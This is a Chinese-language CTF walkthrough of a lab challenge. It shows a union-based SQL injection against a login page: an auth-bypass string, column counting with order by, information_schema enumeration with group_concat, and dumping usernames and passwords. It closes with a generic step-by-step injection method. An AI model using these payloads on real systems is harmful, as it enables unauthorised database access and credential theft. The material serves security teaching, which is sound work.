知识点:group_concat语法,联合查询(union)
1.打开靶机,登录界面我们直接万能密码'or 1=1#登进去试试:
万能密码详解:http://t.csdn.cn/rrFjK
登入进去看到:
2. 得到用户名和密码,不过拿去md5没有用,用order by查询字段数:
username=admin' order by 3%23&password=1 ->ordeer by查询
在增加到4的时候,报错:
3.那就说明一共有3个字段嘛,接下来我们查找回显点位,用union查询测试注入点:
username=1' union select 1,2,3%23&password=1
4.可以看到注入点为2,3,那么接下来查询数据库名和版本:
username=1' union select 1,database(),version()%23&password=1
5.得到数据库名:geek,接下来我们查询表名:
username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
注:group_concat的使用:得到当前库的所有表 :
select group_concat(table_name) from information_schema.tables where table_schema=database()
6.由图可知表名为geekuser,l0ve1ysq1,爆表l0veysq1可以得到:
username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
注:依然是group_concat用法,
mysql 获取数据库表所有字段:
SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA = ‘database_name’ AND TABLE_NAME = ‘table_name’;
7. 看到三个字段:id username password,接下来查找数据:
username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
flag在这一大串数据中,直接f12查看源码,把flag复制下来即可。
知识点:
1.group_concat语法:
mysql中的information_schema 结构用来存储数据库系统信息 ,
爆所有数据名 :select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表 :select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名:select group_concat(column_name) from information_schema.columns where table_name=
得到字段具体的值 :select group_concat(username,id,password) from adminuser(表名)
2.联合注入(union select)
联合注入的过程:
1、判断注入点
2、判断是整型还是字符型
3、判断查询列数(order by)
4、判断显示位
5、获取所有数据库名(database())
6、获取数据库所有表名
7、获取字段名
8、获取字段中的数据
sql注入详见http://t.csdn.cn/2lFxl 大佬讲的超详细